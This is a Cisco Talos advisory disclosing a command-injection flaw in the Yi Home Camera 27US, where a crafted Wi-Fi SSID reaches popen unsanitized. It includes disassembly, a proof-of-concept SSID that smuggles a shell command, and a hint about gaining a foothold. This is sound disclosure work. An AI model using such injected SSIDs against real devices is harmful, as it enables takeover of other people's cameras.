Headline
CVE-2018-3910: TALOS-2018-0580 || Cisco Talos Intelligence Group
An exploitable code execution vulnerability exists in the cloud OTA setup functionality of Yi Home Camera 27US 1.8.7.0D. A specially crafted SSID can cause a command injection, resulting in code execution. An attacker can cause a camera to connect to this SSID to trigger this vulnerability. Alternatively, an attacker can convince a user to connect their camera to this SSID.
Summary
An exploitable code execution vulnerability exists in the cloud OTA setup functionality of Yi Home Camera 27US 1.8.7.0D. A specially crafted SSID can cause a command injection, resulting in code execution. An attacker can cause a camera to connect to this SSID to trigger this vulnerability. Alternatively, an attacker can convince a user to connect their camera to this SSID.
Tested Versions
Yi Technology Home Camera 27US 1.8.7.0D
Product URLs
https://www.yitechnology.com
CVSSv3 Score
8.8 - CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
CWE
CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
Details
Yi Home Camera is an IoT home camera sold globally. The 27US version is one of the newer models sold in the US, and is the most basic model out of the Yi Technology camera lineup. It still, however, includes all the functionality that one would expect from an IoT device: the ability to view the video from anywhere, offline and subscription-based cloud storage, and ease of setup.
During the network configuration stage of the setup, the Yi camera prompts the user to show it a QR code that is generated by the app running on the user’s phone. The user types in the SSID and password of the network that they wish for the camera to connect to, and then the app communicates to https://api.us.xiaoyi.com, generating a QR code containing the SSID and an encrypted password of the access point. Once the camera is connected to the internet, it then proceeds to sync up with the application, and also notifies the Yi servers that it is online, with the following cloudAPI command:
[./cloud][4/9/15:6:9:476]: cmd = /home/app/cloudAPI -c 138
-url "https://api.us.xiaoyi.com/v4/ipc/on_line"
-key <redact>
-keySec <redact>
-uid <redact>
-version 1.8.7.0D_201708091510
-ssid "maSSID"
-mac B0:D5:9D:11:22:33
-ip 10.10.69.69
-signal_quality 100
-packetloss 0
-p2pconnect 0
-p2pconnect_success 0
-tfstat 10000
That ends up generating a request that looks like the following:
req_info=https://api.us.xiaoyi.com/v4/ipc/on_line?hmac=<redact> %3D&seq=9&uid=<redact>&password=<redact>&
version=1.8.7.0D_201708091510&model=0&port=0&
mac=B0:D5:9D:11:22:33&packetloss=0&p2pconnect=0&
p2pconnect_success=0&tfstat=10000×tamp=1523286369&
ext_info=%7B%22p2p_encrypt%22%3A%22true%22%2C%22
ssid%22%3A%22maSSID%22%2C%22mac%22%3A%22B0%3AD5%3A9D %3A11%3A22%3A33%22%2C%22ip%22%3A%2210.10.69.69
%22%2C%22signal_quality%22%3A%22100%22%7D
More interesting, though, is how the above command is put together in the first place. Examining the cloud binary that utilizes this cloudAPI shows us the following string containing “on_line”:
aSC138UrlSV4Ipc DCB "%s -c 138 -url ",0x22,"%s/v4/ipc/on_line",0x22," -key %s -keySec"
.rodata:0001A12C ; DATA XREF: webapi_do_login+1F4↑o
.rodata:0001A12C ; .text:off_10BBC↑o
.rodata:0001A12C DCB " %s -uid %s -version %s -ssid ",0x22,"%s",0x22,"
.rodata:0001A12C DCB “-mac %s -ip %s "
.rodata:0001A12C DCB "-signal_quality %d -packetloss %d -p2pconnect %d
-p2pconnect_success %d -tfstat %d ",0
This command string gets sent directly to popen and eventually evaluated with a sh -c <cmd>:
// cloud.c: webapi_do_login@~0x10864
MOV R1, #0x800 ; maxlen
LDR R2, =aSC138UrlSV4Ipc ; "%s -c 138 -url \"%s/v4/ipc/on_line\" -k"...
LDR R3, =aHomeAppCloudap ; "/home/app/cloudAPI"
BL snprintf //[1]
STR R6, [SP,#0x15F8+also_key_sec]
LDR R0, =aCloudC ; "cloud.c"
LDR R1, =aWebapiDoLogin_0 ; "webapi_do_login"
LDR R2, =0x856
LDR R3, =aCmdS ; "cmd = %s\n"
BL dump_string //[2]
MOV R4, #3
[…]
MOV R1, #0x800
MOV R3, R`1
MOV R2, #0
MOV R0, R5
BL memset_s
MOV R1, R5
MOV R2, #0x800
MOV R3, #0xA
MOV R0, R6
BL path_to_bin_sh ; (cmd, res_dst, res_len, timeout?) //[3]
At [1], we see the command being built on the stack, with R0 pointing to [stackbase -0x1028]. At [2], the cause of the previous log message above is shown, and at [3], the resulting call to path_to_bin_sh is given, with R0 once again pointing to [stackbase-0x1028]. And for brevity, path_to_bin_sh does just go straight into popen:
EXPORT path_to_bin_sh
path_to_bin_sh
CMP R1, #0
CMPNE R0, #0
STMFD SP!, {R4-R10,LR}
MOV R5, R1
SUB SP, SP, #0x90
MOVEQ R4, #1
MOVNE R4, #0
BEQ loc_151B0 ; not taken
LDR R1, =(aSyncFinishRegi+0x14) ; modes
MOV R9, R2
MOV R6, R3
MOV R8, R0
BL popen
Thus, if someone connects their own camera, or convinces someone else to connect their camera to an SSID with any sort of command injection strings, it will simply be evaluated as a command. If we have an SSID named TotesLegit$(echo asdf>/lol.txt), the resulting on_line packet sent to https://api.us.xiaoyi.net is as such:
req_info=https://api.us.xiaoyi.com/v4/ipc/on_line?hmac=<redact> %3D&seq=9&uid=<redact>&password=<redact>&
version=1.8.7.0D_201708091510&model=0&port=0&
mac=B0:D5:9D:11:22:33&packetloss=0&p2pconnect=0&
p2pconnect_success=0&tfstat=10000×tamp=1523286369&
ext_info=%7B%22p2p_encrypt%22%3A%22true%22%2C%22
ssid%22%3A%22TotesLegit%22%2C%22mac%22%3A%22B0%3AD5%3A9D %3A11%3A22%3A33%22%2C%22ip%22%3A%2210.10.69.69
%22%2C%22signal_quality%22%3A%22100%22%7D
//decoded ext_info:
ext_info={"p2p_encrypt":"true","
ssid":"TotesLegit","mac":"B0:D5:9D:11:22:33","ip":"10.10.69.69”
,"signal_quality":"100"}
The command injection is not included, as it has been evaluated and ran as a command:
~ # ls -la /lol.txt && cat /lol.txt
-rw-r--r-- 1 root root 10 Apr 9 15:06 /lol.txt
asdf
It should be noted that SSID’s are limited in length (32 bytes), and that the camera does not have wget or curl or netcat natively on the box, so options are limited for the actual payload. Enterprising individuals might take advantage of the cloudAPI binary’s network functionality to gain a foothold, however.
Timeline
2018-05-01 - Vendor disclosure
2018-09-03 - Vendor submitted build to Talos for testing
2018-09-05 - Talos confirmed issue patched
2018-10-22 - Vendor released new firmware
2018-10-31 - Public release
Discovered by Lilith Q(‘.’Q) of Cisco Talos.